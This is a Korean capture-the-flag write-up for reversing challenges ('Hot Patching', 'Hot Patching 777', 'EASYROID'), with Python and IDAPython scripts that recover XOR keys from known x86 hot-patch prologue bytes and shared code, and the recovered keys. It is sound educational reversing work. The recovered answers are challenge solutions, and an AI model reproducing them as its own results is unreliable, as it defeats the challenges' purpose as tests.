Hot Patching ๋ฐ”์ดํŠธ๋ฅผ ํ†ตํ•œ Key ์ถ”์ถœ

[๊ทธ๋ฆผ 1] main ํ•จ์ˆ˜(0x42D7A0) Hex-Rays ๊ฒฐ๊ณผ
  • main ํ•จ์ˆ˜(0x42D7A0)์—์„œ sub_401000์„ ํ˜ธ์ถœํ•œ๋‹ค.

    [๊ทธ๋ฆผ 2] sub_401000 ํ•จ์ˆ˜ Hex-Rays ๊ฒฐ๊ณผ
  • sub_401000์€ ์œ„์™€ ๊ฐ™๋‹ค.

[๊ทธ๋ฆผ 3] Xor์„ ์ˆ˜ํ–‰ํ•˜๋Š” sub_42D710 ํ•จ์ˆ˜
  • sub_42D710๋Š” sub_401000์—์„œ ๋‘ ๋ฒˆ ํ˜ธ์ถœ๋œ๋‹ค. VirtualProtect๋ฅผ ํ†ตํ•ด ํŠน์ • ์˜์—ญ์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ PAGE_EXECUTE_READWRITE(0x40)์œผ๋กœ ๋ณ€๊ฒฝ์‹œํ‚จ๋‹ค. ๊ทธ ํ›„ ์„ธ๋ฒˆ ์งธ ์ธ์ž ๊ฐ’์„ ์ฐธ์กฐํ•˜์—ฌ Xor ์—ฐ์‚ฐ ํ•œ๋‹ค.

[๊ทธ๋ฆผ 4] sub_401000 ํ•จ์ˆ˜ ๋™์ž‘ ํŒŒ์•… ํ›„ ๋„ค์ด๋ฐ ๊ฒฐ๊ณผ
  • sub_401000 ํ•จ์ˆ˜ ๋‚ด ๋ณ€์ˆ˜ ๋ฐ ํ•จ์ˆ˜ ์ด๋ฆ„์„ ๋ณด๊ธฐ ์‰ฝ๊ฒŒ ๋„ค์ด๋ฐํ•˜์˜€๋‹ค.
  • ํ•ด๋‹น ํ•จ์ˆ˜์˜ ์‹คํ–‰ ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.
    1. scanf_s ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค.
    1. ์ž…๋ ฅ ๊ฐ’์˜ ๊ธ€์ž ์ˆ˜๋ฅผ ํ™•์ธํ•˜๊ณ , 5๊ธ€์ž๊ฐ€ ์•„๋‹ ์‹œ 1์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
    1. 0x4010D0 ์ฃผ์†Œ์—์„œ 0x2C630(0x42D700 - 0x4010D0) ํฌ๊ธฐ ๋งŒํผ ์ž…๋ ฅ ๊ฐ’๊ณผ Xor ์—ฐ์‚ฐ ํ•œ๋‹ค.
    1. 0x44A8C0 ์ฃผ์†Œ์—์„œ 0x20 ํฌ๊ธฐ ๋งŒํผ ์ž…๋ ฅ ๊ฐ’๊ณผ Xor ์—ฐ์‚ฐ ํ•œ๋‹ค.
    1. Xor ์—ฐ์‚ฐ ํ›„์˜ 0x4010D0 ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.
[๊ทธ๋ฆผ 5] Xor ์—ฐ์‚ฐ ์ „ sub_4010D0 ํ•จ์ˆ˜
  • Xor ์—ฐ์‚ฐ ์ „ 0x4010D0 ํ•จ์ˆ˜๋Š” ์œ„์™€ ๊ฐ™์ด ์ƒ๊ฒผ๋‹ค. ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋กœ๋Š” ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค.

"๊ทธ๋ ‡๋‹ค๋ฉด, ์ž…๋ ฅ ๊ฐ’์ด 5๊ธ€์ž์ธ ๊ฒƒ ์™ธ์— ๋‹จ์„œ๋Š” ๋ฌด์—‡์ด ์žˆ์„๊นŒ?"

  • 0x4010D0์€ ๋‹ค๋ฅธ ํ•จ์ˆ˜์™€ ๊ณตํ†ต๋œ ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์„ ๊ฒƒ์ด๋‹ค. x86 ์‹คํ–‰ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ํ•จ์ˆ˜ ์‹œ์ž‘ ์‹œ ์•„๋ž˜์™€ ๊ฐ™์€ ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค.
55        push ebp
8B EC     mov ebp, esp
83 EC XX  sub esp, N
[๊ทธ๋ฆผ 6] ํ•จ์ˆ˜ ์ดˆ๊ธฐ ํ”„๋กค๋กœ๊ทธ
  • ๋ฌธ์ œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ๋Š” ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ ์ด์ „์— 2๋ฐ”์ดํŠธ ์–ด์…ˆ๋ธ”๋ฆฌ xchgax,ax ๊ฐ€ ๋ณด์ธ๋‹ค. ํ•ด๋‹น ์–ด์…ˆ๋ธ”๋ฆฌ๋Š” 2๋ฐ”์ดํŠธ NOP ์ฝ”๋“œ 0x66 0x90 ์ด๋‹ค. Visual Studio ์ปดํŒŒ์ผ ์‹œ HotPatch ์˜ต์…˜์ด ํ™œ์„ฑํ™” ๋œ ๊ฒฝ์šฐ ์ƒ๊ธฐ๋Š” ์ฝ”๋“œ์ด๋‹ค.
โœ…
Hot Patching[1]์ด๋ž€, ์„œ๋น„์Šค์˜ ์ข…๋ฃŒ๋‚˜ ์žฌ์‹œ์ž‘ ์—†์ด ํŒจ์น˜๋ฅผ ์ ์šฉํ•˜๋Š” ์—…๋ฐ์ดํŠธ ๋ฐฉ๋ฒ•์ด๋‹ค. x86 ์–ด์…ˆ๋ธ”๋ฆฌ ์–ธ์–ด์—์„œ๋Š” ํŒจ์น˜๋ฅผ ์œ„ํ•ด LONG JMP ๋ช…๋ น์„ ์‚ฌ์šฉํ•œ๋‹ค. ํ•ด๋‹น ๋ช…๋ น์€ 5๋ฐ”์ดํŠธ๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ, 3๋ฐ”์ดํŠธ์ธ ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ ์™ธ 2๋ฐ”์ดํŠธ์˜ NOP ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ Hot Patching[2]์— ์‚ฌ์šฉํ•œ๋‹ค. Windows x86 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ชจ๋“ˆ์—์„œ๋Š” ์ฃผ๋กœ movedi,edi ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

  • Hot Patching์— ์‚ฌ์šฉํ•  5๋ฐ”์ดํŠธ 0x66 0x90 0x55 0x8B 0xEC ๋ฅผ ํ†ตํ•ด, ์ž…๋ ฅ ๊ฐ’์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. apple 0x61 0x70 0x70 0x6C 0x65=0x07 0xE0 0x25 0xE7 0x89Xor0x66 0x90 0x55 0x8B 0xEC
[๊ทธ๋ฆผ 7] apple ์ž…๋ ฅ ํ›„ ํ™”๋ฉด
  • apple์„ ์ž…๋ ฅํ•˜๋‹ˆ ๋˜ ๋‹ค์‹œ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค.
[๊ทธ๋ฆผ 8] Xor ์—ฐ์‚ฐ ํ›„ 0x4010D0 ๋””์Šค์–ด์…ˆ๋ธ” ๊ฒฐ๊ณผ
  • Xor ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•œ 0x4010D0 ๋ถ€๋ถ„์˜ ์ฝ”๋“œ๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ๋ณด์ธ๋‹ค.

[๊ทธ๋ฆผ 9] 0x4010D0 ํ•จ์ˆ˜์˜ ์ž…๋ ฅ ๊ฐ’ ์‚ฌ์šฉ
  • ๋‹ค์Œ ์ž…๋ ฅ ๊ฐ’์˜ ํฌ๊ธฐ๋Š” 5์ด๋ฉฐ, 0x4011A0 ์ฃผ์†Œ์™€ Xor ์—ฐ์‚ฐํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค. ์—ฐ์‚ฐํ•  ํฌ๊ธฐ๋Š” 0x2C560(0x42D700 - 0x4011A0)์ด๋‹ค.
  • apple๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์ž…๋ ฅ ๊ฐ’ mango๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. *apple์„ ์ž…๋ ฅ ํ›„ ๋ฐ”๋€ 0x4010A0 ~ 0x4010A4 ๋ฒ”์œ„์˜ ๊ฐ’์„ ์‚ฌ์šฉํ•ด์•ผํ•œ๋‹ค.
  • ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ๋‹ค์Œ ์ž…๋ ฅ ๊ฐ’ lemon์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

[๊ทธ๋ฆผ 10] 0x401270 ํ•จ์ˆ˜์—์„œ 6๊ธ€์ž ์ž…๋ ฅ ๊ฐ’ ์š”๊ตฌ
  • ์„ธ ๋ฒˆ์งธ ์ž…๋ ฅ ๊ฐ’ lemon ์ดํ›„์—๋Š” ์ž…๋ ฅ ๊ฐ’์ด 6์œผ๋กœ ์ฆ๊ฐ€ํ•œ๋‹ค.
  • ๊ทธ๋ž˜๋„ ์•Œ๋ ค์ง„ 5๋ฐ”์ดํŠธ๋ฅผ ํ†ตํ•ด orang 5๊ธ€์ž๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด์ „์— ๊ณผ์ผ์ด ๋‚˜์™”์œผ๋ฏ€๋กœ orange๋กœ ์œ ์ถ”ํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๋˜ํ•œ subesp,N ์ฝ”๋“œ์˜ 0x83 0xEC 0x?? ๋ฅผ ํ†ตํ•ด์„œ ์ด ์ตœ๋Œ€ 7๊ธ€์ž๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

[๊ทธ๋ฆผ 11] Flag ์ถœ๋ ฅ
  • ์•Œ๋ ค์ง„ 7๋ฐ”์ดํŠธ์™€ ์œ ์ถ”๋ฅผ ํ†ตํ•ด์„œ Key๋ฅผ ์ด 10๋ฒˆ ์ž…๋ ฅํ•˜๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.
key_info = [
    {"addr":0x4010D0, "size":5, "data":[0x07, 0xE0, 0x25, 0xE7, 0x89]},
    {"addr":0x4011A0, "size":5, "data":[0x0B, 0xF1, 0x3B, 0xEC, 0x83]},
    {"addr":0x401270, "size":5, "data":[0x0A, 0xF5, 0x38, 0xE4, 0x82]},
    {"addr":0x401350, "size":6, "data":[0x09, 0xE2, 0x34, 0xE5, 0x8B, 0xE6]},
    {"addr":0x401430, "size":6, "data":[0x04, 0xF1, 0x3B, 0xEA, 0x82, 0xE2]},
    {"addr":0x401510, "size":6, "data":[0x02, 0xE5, 0x27, 0xE2, 0x8D, 0xED]},
    {"addr":0x4015F0, "size":7, "data":[0x05, 0xE5, 0x27, 0xF9, 0x8D, 0xED, 0x98]},
    {"addr":0x4016D0, "size":7, "data":[0x07, 0xE6, 0x3A, 0xE8, 0x8D, 0xE7, 0x83]},
    {"addr":0x4017B0, "size":7, "data":[0x05, 0xFF, 0x36, 0xE4, 0x82, 0xF6, 0x98]},
    {"addr":0x401890, "size":8, "data":[0x0B, 0xF1, 0x3B, 0xEF, 0x8D, 0xF1, 0x85, 0x4E]}
]

known_bytes = [0x66, 0x90, 0x55, 0x8B, 0xEC, 0x83, 0xEC]
for k in key_info:
    data = k["data"]
    key = ""
    size = len(data)
    for i in range(size):
        key += chr(data[i] ^ known_bytes[i % 7])

    print(key[:5] + "?" * (size - 5), "=>", key) #Known Bytes Size == 5, 7


""" #Result
apple => apple
mango => mango
lemon => lemon
orang? => orange
banan? => banana
duria? => durian
curra?? => currant
avoca?? => avocado
cocon?? => coconut
manda??? => mandari? => mandarin*
"""

Hot Patching 777


๐Ÿ’ก
๊ณตํ†ต๋œ ๋ช…๋ น ๋ฐ”์ดํŠธ๋ฅผ ํ†ตํ•œ Key ์ถ”์ถœ ์ž๋™ํ™”
  • ์ด์ „ Hot Patching ๋ฌธ์ œ๋Š” ๋ณ„๋„์˜ ์ž๋™ํ™” ์—†์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.
[๊ทธ๋ฆผ 1] 0x401890 ํ•จ์ˆ˜์—์„œ Flag ์ถœ๋ ฅ ํ›„ ์—ฐ์‚ฐ ๋ฐ์ดํ„ฐ
  • 0x401890 ํ•จ์ˆ˜์—์„œ ์ฒซ ๋ฒˆ์งธ Flag๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๊ณ , ๋‹ค์Œ Flag๋ฅผ ์œ„ํ•œ ์—ฐ์‚ฐ์ด ์ˆ˜ํ–‰๋œ๋‹ค.
[๊ทธ๋ฆผ 2] 0x401890 ํ•จ์ˆ˜์—์„œ ๋ณ„๋„ ์ž…๋ ฅ ์ฒ˜๋ฆฌ ์—†์ด ๋‹ค์Œ ํ•จ์ˆ˜ ๋ณตํ˜ธํ™” ์ˆ˜ํ–‰
  • 10 ๋ฒˆ์งธ Key๊นŒ์ง€ ๋ชจ๋‘ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ž…๋ ฅ๋œ ๊ฒฝ์šฐ, ๋‹ค์Œ ํ•จ์ˆ˜๋Š” ๋ณ„๋„ ์ž…๋ ฅ ์ฒ˜๋ฆฌ ์—†์ด ๋ณตํ˜ธํ™” ๋œ๋‹ค.
[๊ทธ๋ฆผ 3] 0x4019B0 ํ•จ์ˆ˜์—์„œ ์ž…๋ ฅ ๊ฐ’ ๊ฒ€์‚ฌ
  • ์ฒซ ๋ฒˆ์งธ Flag ์ถœ๋ ฅ ์ด์ „๊นŒ์ง€๋Š” 5~8 ๊ธ€์ž์˜ ์ž…๋ ฅ ๊ฐ’์ด ํ•„์š”ํ–ˆ์ง€๋งŒ, 11 ๋ฒˆ์งธ๋Š” 17 ๊ธ€์ž๋ฅผ ์š”๊ตฌํ•œ๋‹ค.
  • ์•Œ๋ ค์ง„ 7๋ฐ”์ดํŠธ๋ฅผ ํ†ตํ•ด, ์ผ๋ถ€๋ฅผ ๋ณต๊ตฌํ•˜์—ฌ๋„ ์ด์ „๊ณผ ๋‹ค๋ฅด๊ฒŒ ํŠน์ • ๋‹จ์–ด๋กœ ์ถ”์ •ํ•  ์ˆ˜ ์—†๋‹ค. TO5yQyc 0x54 0x4F 0x35 0x79 0x51 0x79 0x63 =0x32 0xDF 0x60 0xF2 0xBD 0xFA 0x8FXor0x66 0x90 0x55 0x8B 0xEC 0x83 0xEC "๊ทธ๋ ‡๋‹ค๋ฉด, ์•Œ๋ ค์ง„ 7๋ฐ”์ดํŠธ ์™ธ์— ๋‹จ์„œ๊ฐ€ ํ•„์š”ํ•˜๋‹ค."

  • ์ง€๊ธˆ๊นŒ์ง€ Flag ์ถœ๋ ฅ ํ•จ์ˆ˜ ์™ธ ๋ชจ๋“  ํ•จ์ˆ˜๋Š” ๊ฐ™์€ ํ˜•์‹์œผ๋กœ ๊ตฌ์„ฑ๋˜์–ด์žˆ๋‹ค. ๋‹ค๋ฅธ ์ ์€ ์ž…๋ ฅ ๊ฐ’์˜ ํฌ๊ธฐ, ๋ณตํ˜ธํ™” ๋Œ€์ƒ ์ฃผ์†Œ, ๋‹ค์Œ ํ•จ์ˆ˜ ์ฃผ์†Œ ๋“ฑ์ด๋‹ค.
[๊ทธ๋ฆผ 4] ํ•จ์ˆ˜ ์ค‘๊ฐ„ ์ค‘๊ฐ„ ์กด์žฌํ•˜๋Š” ๋”๋ฏธ์ฝ”๋“œ
  • ํ•จ์ˆ˜์˜ ๋‚ด์šฉ์€ ๋ชจ๋‘ ๊ฐ™์ง€๋งŒ, ์ค‘๊ฐ„ ์ค‘๊ฐ„ ๋”๋ฏธ์ฝ”๋“œ๊ฐ€ ํ˜ผ๋ž€์„ ์ฃผ๊ณ  ์žˆ๋‹ค. ๋”๋ฏธ์ฝ”๋“œ์˜ ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š์œผ๋ฉด์„œ ๊ณตํ†ต๋œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋ฅผ ์ฐพ์•„์•ผํ•œ๋‹ค.
[๊ทธ๋ฆผ 5] ๊ณตํ†ต๋œ strlen ๊ธฐ๋Šฅ ์ฝ”๋“œ
  • strlen ๊ธฐ๋Šฅ์˜ ์ฝ”๋“œ ๋•๋ถ„์— ๋ฌด๋ ค 58๋ฐ”์ดํŠธ์˜ ๊ณตํ†ต ์ฝ”๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. *๋งˆ์ง€๋ง‰ cmp ๋ช…๋ น์˜ ๊ธ€์ž์ˆ˜(0x07) ๋น„๊ต ์ „ ๊นŒ์ง€ 58 ๋ฐ”์ดํŠธ
[๊ทธ๋ฆผ 6] ๊ณตํ†ต ์ฝ”๋“œ ๋ฉ”๋ชจ๋ฆฌ ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ
  • ํ˜„์žฌ Flag ์ถœ๋ ฅ ์™ธ 11๊ฐœ ํ•จ์ˆ˜๊ฐ€ ๋ณตํ˜ธํ™”๋˜์–ด์žˆ๋‹ค. ๊ณตํ†ต ์ฝ”๋“œ๋ฅผ ๊ฒ€์ƒ‰ํ•œ ๊ฒฐ๊ณผ ๋˜ํ•œ 11๊ฐœ๋‹ค. ์ด๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ž…๋ ฅ ๊ฐ’ ์ถ”์ถœ ์ž๋™ํ™”๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์•„๋ž˜์™€ ๊ฐ™์€ ๋‚ด์šฉ์„ ํ† ๋Œ€๋กœ ์ž๋™ํ™” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์˜€๋‹ค.
    1. ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ๋ฅผ ํ†ตํ•ด, cmp ๋ช…๋ น์–ด์—์„œ ๋น„๊ตํ•  ์ž…๋ ฅ ๊ฐ’์„ ๊ตฌํ•œ๋‹ค.
    1. ์ดํ›„ sub ๋ช…๋ น์–ด์—์„œ Xor ์—ฐ์‚ฐ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•œ๋‹ค.
    1. ์•Œ๋ ค์ง„ 5๋ฐ”์ดํŠธ๋ฅผ ํ†ตํ•ด, ์ž…๋ ฅ ๊ฐ’์˜ ์ฒซ 5๊ธ€์ž๋ฅผ ํš๋“ํ•œ๋‹ค.
    1. ์ฒซ 5๊ธ€์ž๋ฅผ ํŒจ์น˜ ๋Œ€์ƒ ๋ฐ์ดํ„ฐ์™€ Xor ์—ฐ์‚ฐํ•˜๊ณ , ๊ณตํ†ต ์ฝ”๋“œ 58๋ฐ”์ดํŠธ์— ํฌํ•จ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.
    1. ํฌํ•จ๋  ๊ฒฝ์šฐ ์ž…๋ ฅ ๊ฐ’์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.
    1. ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ, ์ฝ”๋“œ ํŒจ์น˜ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” IDA Python์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘์„ฑํ•œ๋‹ค.

import struct
p32 = lambda x:struct.pack("<L", x)

# patch_xor : Xor ์—ฐ์‚ฐ์„ ํ†ตํ•ด ํŒจ์น˜๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ํ•จ์ˆ˜
def patch_xor(addr_patch, addr_end, xor_key):
    size_patch = addr_end - addr_patch
    for i in range(size_patch):
        cur = addr_patch + i
        idc.PatchByte(cur, idc.Byte(cur) ^ xor_key[i % len(xor_key)])
        # Xor ์—ฐ์‚ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํŒจ์น˜ํ•˜์—ฌ ๋ฐ˜์˜
        idc.MakeUnknown(cur, 1, idc.DOUNK_SIMPLE)
        # ํŒจ์น˜ ํ›„ Unknown ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์ž˜๋ชป๋œ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ ๋ฐฉ์ง€
    return

# xor_data : ๋‹จ์ˆœ Xor ํ•จ์ˆ˜
def xor_data(addr_xor, addr_end, xor_key):
    result = []
    size_xor = addr_end - addr_xor
    for i in range(size_xor):
        cur = addr_xor + i
        result.append(idc.Byte(cur) ^ xor_key[i % len(xor_key)])
    return result

addr_start = 0x401000   # ํ•จ์ˆ˜ ์‹œ์ž‘ ์ฃผ์†Œ
addr_end = 0x42D700     # ํ•จ์ˆ˜ ๋งˆ์ง€๋ง‰ ์ฃผ์†Œ, ๊ธธ์ด ๊ณ„์‚ฐ์— ์‚ฌ์šฉ

cnt = 0
keys = []

cur = addr_start
while cur < addr_end:   # ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ํ†ตํ•ด Key ํฌ๊ธฐ, ํŒจ์น˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•จ
    key_size = 0
    addr_patch = 0
    while cur < addr_end:
        try:
            dis = idc.GetDisasm(cur)
            if dis.find("retn") != -1:
                break
            # cmp ๋ช…๋ น์–ด์—์„œ Key ํฌ๊ธฐ ์ถ”์ถœ
            if dis.find("cmp") != -1 and dis.find("], 0") == -1:
                tmp = dis.split(", ")[1]
                if tmp.find("h") != -1:
                    key_size = int(tmp[:-1], base=16)
                else:
                    key_size = int(tmp)
            # sub ๋ช…๋ น์–ด์—์„œ ํŒจ์น˜ ์ฃผ์†Œ ์ถ”์ถœ
            if dis.find("sub") != -1 and dis.find("offset") != -1:
                tmp = dis.split("_")[1].replace(" ", "")
                if tmp.find(";") != -1:
                    tmp = tmp.split(";")[0]
                addr_patch = int(tmp, base=16)
            cur += idc.ItemSize(cur)
        except:
            break
            
    print cnt, key_size, hex(addr_patch),
    
    # Flag ์ถœ๋ ฅ ํ•จ์ˆ˜์˜ ๊ฒฝ์šฐ ์ž„์˜๋กœ Key์„ ์ˆ˜์ •
    if cnt == 10:
        key_size = 32
        
        tmp = p32(0x454D4E4A)
        tmp += p32(0x07692B4B)
        tmp += p32(0x2D0C1A2C)
        tmp += p32(0x0E0D100A)
        tmp += p32(0x09090476)
        tmp += p32(0x26065966)
        tmp += p32(0x1C103417)
        tmp += p32(0x567C2075)
        
        prev_key = xor_key[::]
        xor_key = []
        for i in range(key_size):
            xor_key.append(ord(tmp[i]) ^ prev_key[i % len(prev_key)])
    
    # ์—ฐ์‚ฐ ์˜ค๋ฅ˜๊ฐ€ ์žˆ์„ ์‹œ break
    if key_size == 0 or addr_patch == 0:
        break
    
    # Flag ์ถœ๋ ฅ ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ ๊ฒฝ์šฐ, Key ์ถ”์ถœ ์ˆ˜ํ–‰
    if key_size != 32:
        known_data = [0x66, 0x90, 0x55, 0x8B, 0xEC] # ์•Œ๋ ค์ง„ Hot Patching 5๋ฐ”์ดํŠธ
        xor_key = []
        # Hot Patching 5๋ฐ”์ดํŠธ๋ฅผ ํ†ตํ•ด, Key ์ฒซ 5๊ธ€์ž ์ถ”์ถœ
        for i in range(5):
            xor_key.append(idc.Byte(addr_patch + i) ^ known_data[i])
        
        # 5๊ธ€์ž ๋ณด๋‹ค ๋งŽ์„ ๊ฒฝ์šฐ
        if key_size != 5:
            xor_key += [0x00] * (key_size - 5)

            # ๋ชจ๋ฅด๋Š” ๊ธ€์ž๋Š” 0x00์œผ๋กœ ์ฑ„์šฐ๊ณ  Xor ์—ฐ์‚ฐ ์ˆ˜ํ–‰
            data = xor_data(addr_patch, addr_end, xor_key)
            
            # ๊ณตํ†ต 58๋ฐ”์ดํŠธ ์ฝ”๋“œ
            known_data = [0xC7, 0x45, 0xF8, 0x04, 0xB3, 0x44, 0x00, 0x8B, 0x45, 0xF8, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF8, 0x8A, 0x11, 0x88, 0x55, 0xFF, 0x83, 0x45, 0xF8, 0x01, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xEE, 0x8B, 0x45, 0xF8, 0x2B, 0x45, 0xF4, 0x89, 0x45, 0xF0, 0x8B, 0x4D, 0xF0, 0x89, 0x0D, 0x00, 0xB3, 0x44, 0x00]
            known_data = "".join(chr(x) for x in known_data)
            
            # ๊ณตํ†ต 58๋ฐ”์ดํŠธ ์ฝ”๋“œ๋ฅผ ํ†ตํ•œ, Key ์ „๋ถ€๋ฅผ ๋ณต๊ตฌ
            xor_key = xor_key[:5]
            for i in range(len(data) - key_size):
                # ๊ณตํ†ต ์ฝ”๋“œ์™€ Xor ์ˆ˜ํ–‰ํ•œ ๊ฒฐ๊ณผ๋ฅผ 5๋ฐ”์ดํŠธ์”ฉ ๋น„๊ต
                cur_data = "".join(chr(x) for x in data[i:i+5])
                idx = known_data.find(cur_data)
                if idx != -1:   #
                    # ๊ณตํ†ต ์ฝ”๋“œ์˜ ์–ด๋Š ์ธ๋ฑ์Šค๋ถ€ํ„ฐ Key์ด ์‹œ์ž‘ ๋˜๋Š”์ง€ ํ™•์ธ
                    # (Key ํฌ๊ธฐ, ๋”๋ฏธ ์ฝ”๋“œ ๋“ฑ์— ์˜ํ•ด ์˜คํ”„์…‹์ด ๋งค๋ฒˆ ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ)
                    org = known_data[idx+5:idx+5+key_size]
                    for j in range(key_size - 5):
                        xor_key.append(ord(org[j]) ^ data[i+5+j]) #Key ๋ณต๊ตฌ
                    break
            
            if len(xor_key) == 5:
                # Flag ์ถœ๋ ฅ ํ•จ์ˆ˜(11 ๋ฒˆ์งธ)์˜ ๊ฒฝ์šฐ ์˜ˆ์™ธ๋กœ ์ฒ˜๋ฆฌ
                if cnt == 9:
                    xor_key += [ord('r'), ord('i'), ord('n')] #mandarin
                else:
                    print "Error!!"
                    xor_key += [0x00] * (key_size - 5)
        
    print "".join(chr(x) for x in xor_key)
    keys.append("".join(chr(x) for x in xor_key))
    
    
    patch_xor(addr_patch, addr_end, xor_key)    # ์ถ”์ถœํ•œ Key๋ฅผ ํ†ตํ•ด ํŒจ์น˜ ์ˆ˜ํ–‰
    idc.MakeCode(addr_patch)                    # ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜
    idc.MakeFunction(addr_patch)                # ํ•จ์ˆ˜ํ™” ์ˆ˜ํ–‰
    
    cur = addr_patch
    cnt += 1

f = open("solve_key.txt", "wb")                 # ์ถ”์ถœํ•œ Key๋ฅผ ์ €์žฅ
for i in range(len(keys)):
    f.write(keys[i])
    f.write("\r\n")
f.close()
[๊ทธ๋ฆผ 7] ๋‘ ๋ฒˆ์งธ Flag ํš๋“
  • Flag ๋˜ํ•œ ์ž๋™์œผ๋กœ ์—ฐ์‚ฐํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ž๋™ํ™”๋กœ ์ถ”์ถœํ•œ ์ž…๋ ฅ ๊ฐ’์„ ๋ณต์‚ฌ ํ›„ ๋Œ€์ž…ํ•˜์—ฌ ํš๋“ํ•˜์˜€๋‹ค.

EASYROID


๐Ÿ’ก
Easy Android Reversing Challenge

  • JAVA ์ฝ”๋“œ๋ฅผ ๋จผ์ € ์‚ดํŽด๋ณด์ž.

    MainActivity๊ฐ€ ์‹คํ–‰๋˜๋ฉด libnative-lib.so์— ์ •์˜๋˜์–ด ์žˆ๋Š” stringFromJNI ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœ ํ•œ๋’ค setText๋กœ TextView์— ๋„ฃ์–ด์ฃผ๋Š” ๊ฐ„๋‹จํ•œ ์ฝ”๋“œ์ด๋‹ค.

  • stringFromJNI ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด์ž.

    stringFromJNI ํ•จ์ˆ˜๋Š” Hello BOB9? ๋ฌธ์ž์—ด์„ ๋ฆฌํ„ดํ•ด์ค€๋‹ค.

๊ฒฐ๊ตญ ์•ฑ์„ ์‹คํ–‰ํ•˜๋ฉด ํ™”๋ฉด์— Hello BOB9? ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋œ์š”. ์‹คํ–‰ํ•ด์„œ ํ™•์ธํ•˜์ž.

๋น™๊ณ !

libnative-lib.so์˜ Export Table์„ ์‚ดํŽด๋ณด๋ฉด stringFromJNI ํ•จ์ˆ˜ ์ด ์™ธ ํ•œ ๊ฐ€์ง€ ํ•จ์ˆ˜๊ฐ€ ๋” ์กด์žฌํ•œ๋‹ค.

HiddenStage!!!

HiddenStage ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด์ž.

BLOWFISH ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ํŠน์ • ๊ฐ’์„ Decrypt ํ•˜๊ณ  Flag๋ฅผ ์ถœ๋ ฅํ•ด๋ณด์ž.

